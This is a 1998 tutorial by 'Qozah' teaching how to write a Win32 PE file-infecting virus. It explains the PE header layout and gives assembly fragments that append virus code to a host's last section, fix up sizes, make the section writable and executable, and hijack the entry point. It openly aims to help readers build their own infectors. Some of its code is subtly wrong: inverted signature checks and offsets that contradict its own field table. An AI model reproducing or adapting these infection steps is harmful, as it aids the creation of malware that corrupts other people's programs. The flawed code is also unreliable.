ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ WIN32 PE INFECTION TUTORIAL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÀÄÄÄÄÄÄÄÄÄ´ By Qozah ÃÄÄÄÄÄÄÄÄÙ Objectives on this article ~~~~~~~~~~~~~~~~~~~~~~~~~~ I wrote this article just a bit later than when I started infecting PE, as all concepts were clear in mind, specially the things I felt most difficult when working it out. The infection method described consists on adding the virus to the file's last section, but the thing is that you GET how it works. If you get it, you can make any kind of variation you want, such as adding another section, infecting .reloc space, etc etc. You can copy&paste a PE infection, but then you will never know how they do work, and that's the thingie. I hope this helps: I wrote it with the intention on you to learn, so if you do I've accomplished my objective. PE format ~~~~~~~~~ You have a lot of resources to know how PE format is; anyway, the best is probably Matt Pietrek's, which you can download on Griyo/29A's homepage. PE is structured this way: ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ MZ Header ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ PE\0\0 ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ IMAGE_FILE_HEADER ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³¿ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´³IMAGE_OPTIONAL_HEADER ³ Data directory ³Ù ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ Section Table ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ³ ³ ³ Sections ³ÄÄÄ .reloc, .edata, .idata, .text, etc ³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ So in a small brief, I can tell you there is a DOS header ( where there is also the program which is loaded to tell you "this is win32, you asshole" when you try to execute it under a non-win32 system ), then the Image File Header ( the main one ), then the Image Optional Header ( which can be considered divided in two parts ), the the Section Table and finally the sections' data ( can be stack ones, code, data, etc ). Infecting a PE file ~~~~~~~~~~~~~~~~~~~ Well, you're supposed to have opened a suitable file for infection: I don't mind if you use file mapping or pointer access ( yuck! ), but at this point you should have done it. I suppose that you have in edx ( why not ? ) the pointer to the begging of the memory mapped file. So, the first thing you have to do is locale the PE header, and this is done by looking at the 03ch offset in the MZ header. If you want to do some tests, look if ds:[dx] is 'MZ' or 'ZM': cmp word ptr ds:[edx],'M'+'Z' jz end_infection mov edx,dword ptr ds:[edx+3ch] ; Offset of real PE header Now your next objective would be checking if you have a real Portable Executable file there. you can just do that by checking the four first bytes on the new offset to be "PE\0\0", that is, PE and two zeroed bytes :-P. cmp word ptr ds:[edx],'EP' jz end_infection So now the real fun begins, and you have to mess with the diverse stuff in the PE. Instead of giving lots of code, what I want is to make you UNDERSTAND what the hell is going on there. I don't want this full of people working the same infection by copying this code I'm setting, but knowing what to do when they want to perform one. First you have to locate which PE section is the last. After the EXE header and the Image Header there's the OptionalHeader... and finally, we can find the Section Table, that is, where a description and some data on each section is found. If we want to add our code to the last section, modifying this table is truly neccesary The first problem some coders have is... how do I access the Section Table ? Well, there are two ways: - The image File Header has a fixed number of bytes, that is, 18h. So, to find the Image Optional Header we just have to add to our old edx that number of bytes. Then, we know the Section Table is just AFTER the Image Optional Header, but it doesn't have a fixed length. First way is more complicated and not better; the IOH has two parts, the first one of fixed length: 60h bytes. This part is the one which contains some fields with important data for the file. The second part is not fixed length, and is called data directory or "Image_Data_Directory" also. This table is an array of entries, which contains RVAs and some other stuff which I won't describe here. The stuff is, that you can take it's length by watching the offset 74h from the PE\0\0 ( that is, the EDX we had ) and then access the Section Table: that offset, which is the last field on the Image_Optional_Header first part, is called as "NumberOfRvaAndSizes", indicating the number of entries in the Data Diretory array. But let's not complicate things. We have just a really trivial method, as the length of the optional header is stored in a Word in offset 14 from the "PE\0\0" ( have I again to repeat it would be DX+14h? ). So, we get that DX in example, pass it to SI, add it 18h ( so SI points to the beggining of the optional header ), and then add the Word on the offset DX+14h ( which is called SizeOfOptionalHeader ;-) ) to that SI. Then, keep in mind now we have DX in the PE\0\0, and SI points to the beggining of the Section Table. mov esi,edx add esi,18h add esi,dword ptr [edx+14h] So, as this is done, now we have to find the last section. The structure we're pointing at is an array which contains all sections in a specific format, beeing 28h bytes each of them. Place Length What the hell is it 0h 8h Section's name ( .edata, .reloc, .p0rn ) 8h 4h VirtualSize 0ch 4h SizeOfRawData 14h 4h PointerToRawData 18h 4h PointerToRelocations 1ch 4h PointerToLinenumbers 20h 2h NumberOfRelocations 22h 2h NumberOfLinenumbers 24h 4h Characteristics At this point, as you know you want to make the last section bigger, you could think that last section is the last array also. False, yep, it doesn't have to be. How to know it then ? Well, we have one field that is called "PointerToRawData", that is, a pointer to that section's code to say it easy. So, just you have to check all section entries, and that with the biggest PointerToRawData is the one we want. Of course, we have to know the number of sections... from PE\0\0, it's the offset 6h, the Word which contains that number: xor ecx,ecx mov cx,word ptr ds:[edx+06h] ; number of sections mov edi,esi xor eax,eax push cx X_Sections: cmp dword ptr [edi+14h],eax ; is PointerToRaw bigger than actual? jz Not_Biggest mov ebx,ecx ; put the number of section in ebx mov eax,dword ptr [edi+14h] ; get that pointer Not_Biggest: add edi,28h ; look at next table entry loop X_Sections pop cx ; Now, substract where we found it sub ecx,ebx ;to the number of sections. Now on ecx we have a number that will be 0 for the first section, 1 for the second, etc. We just multiply it by 28h ( which is the length of any of the table entries, each section ) and adding it to esi we get that desired last section: mov eax,028h push edx ; Save PE header mul ecx pop edx add esi,eax So, we have to act on that section of the file. There are three things I've got to describe so you get the point, beeing them fields on the Section Table entry we're at ( look above if you don't remember them ) - VirtualSize is the real size of the section, the number of bytes of that section. - SizeOfRawData is the same that VirtualSize BUT rounded up to the alignment. - Alignment ( this is placed in OptionalHeader, not in these fields in the specific section entry as it's same for all ) is a size which the file size in the PE Header and the SizeOfRawData field have to be divided by. For example, let's imagine we have a section which has a VirtualSize of 1256h bytes, while the Alignment field in the Optional Header contains then number 200h. Then, we can easily know that the field in SizeOfRawData HAS to be 1400h. Why ? Because we have to round UP that 1256h to it's nearest value that is divisible by the Alignment, that is, 200h. So, as now you know how do these three data fields work, the next part can't be that difficult. The next objective is making the section bigger so your virus can fit there. For that reason, you should add the virus size to the VirtualSize field first of it all. mov edi,dword ptr ds:[esi+10h] ; Save PointerToRawData ( that's ;for future use when setting EP ) mov eax,virlength xadd dword ptr ds:[esi+8h],eax ; Exchange and add to destiny push eax add eax,virlength ; Now eax = [esi+8h], that is, ;field 8h plus vir_length Now the VirtualSize has grown, so the SizeOfRawData should be wrong. Imagine that the old VirtualSize was 556h while the Alignment was 200h, and the SizeOfRawData 600h... if your virus is 800h bytes long, the new VirtualSize will be 0d56h, so SizeOfRawData is incorrect: it's value has to be the VirtualSize rounded up to a value that can be divided by the Alignment; in this case, it should be 0e00h ( which can be divided by 200h, and is the nearest one rounded up that can be ) Let's watch some code: push edx mov ecx, dword ptr ds:[edx+03ch] ; Here is the alignment xor edx,edx div ecx ; eax held virtual size. xor edx,edx inc eax ; This is the quotient of the VirtualSize divided ;with the Alignment plus 1. mul ecx ; And we multiply the Alignment plus eax, so we ;get the new SizeOfRawData mov ecx,eax mov dword ptr ds:[esi+10h],ecx ; now here is the SizeOfRawData pop edx Well, this is going cool, isn't it ? Now you have calculated the new SizeOfRawData and stored it. What are you going to do now ? You just get a value I pushed before which is VirtualSize before beeing modified by the virus ( 8h field ), and you are getting your new entry point. pop ebx ; This is VirtualSize - virlength That is, VirtualSize before beeing added the virlength :) Now is when you save the old entry point address, which is in the offset 28h starting from the PE\0\0 thingie. Not much left to say, but how do you get the new entry point ? Let's hear what our friend Mark Ludwig in the description of offset 0ch of any entry at the Section Table: 0ch DWORD VirtualAddress In EXE's, this field holds the RVA for where the loader should map the section to. To calculate the real starting address of a given section in memory, add the base address of the image to the section's VirtualAddress stored in this field. [etc] Well, it can't be easier, can it ? We take the VirtualAddress of the section, then add it the OLD section length and voila ! we just have the end of it... the new entry point :) add ebx,dword ptr ds:[esi+0ch] ; VirtualAddress mov eax,dword ptr ds:[edx+028h] ; Old entry point mov dword ptr ds:[ebp+entry_point],eax mov dword ptr ds:[edx+28h],ebx ; Set new one Again, we have to calculate the file length aligned: this is for the whole file, not just the last section. So, using the new SizeOfRawData and substracting it the old one, you know the aligned value of how much has it grown. Just add it to the SizeOfImage field and you get the new aligned filesize. Looking at the code above, we had in ecx the SizeOfRawData, which we substract from the value in edi, that is, what we saved before that consists on the olf SizeOfRawData sub ecx,edi add dword ptr ds:[edx+50h],ecx ; add to SizeOfImage Finally, we set the Characteristics field from the Section Table entry. You won't want it to give you problems, aha ? There are lot of flags that can be set in that field ( which is offset 24h on each table entry ) as code, initialized data, uninitializeddata, not needed, executable, etc. We want to make it executable, code and writable, so we have to OR it with 0x00000020 (code), 0x20000000 ( executable ) and 0x80000000 ( writable ). or dword ptr ds:[esi+24h],0A0000020h Now we just have to copy our virus to the file. By popping edi I'm getting the old memory mapped file pointer in memory ( where it is right now ), which is the beggining of it ( MapViewOfFile returns a "handle" which is it's base address ). It must have been saved cuz if not you wouldn't close the mapped object . You have to add to this the PointerToRawData where it says where the section is, then add section's old length ( cuz you're at the end of it ). pop edi push edi add edi,dword ptr ds:[esi+14h] add edi,dword ptr ds:[esi+8h] mov ecx,virlength sub edi,ecx ; old length ;) lea esi,[ebp+starts] ; Where the virus starts rep movsb So, there's nothing left to do. We have calculated the size, we have changed the entry point, and saved it; other stuff is up to you. The next thing you should do is returning to the host, it's important =), and of course finding a way to get the GetProcAddress and GetModuleHandle APIs for that second generation, but that's another story. P.D.: Just the base address plus the old entry point, and then you, oh, blah, nothing :) ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÄÄÄÄÄ´ Written by Qozah, Finland '98 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ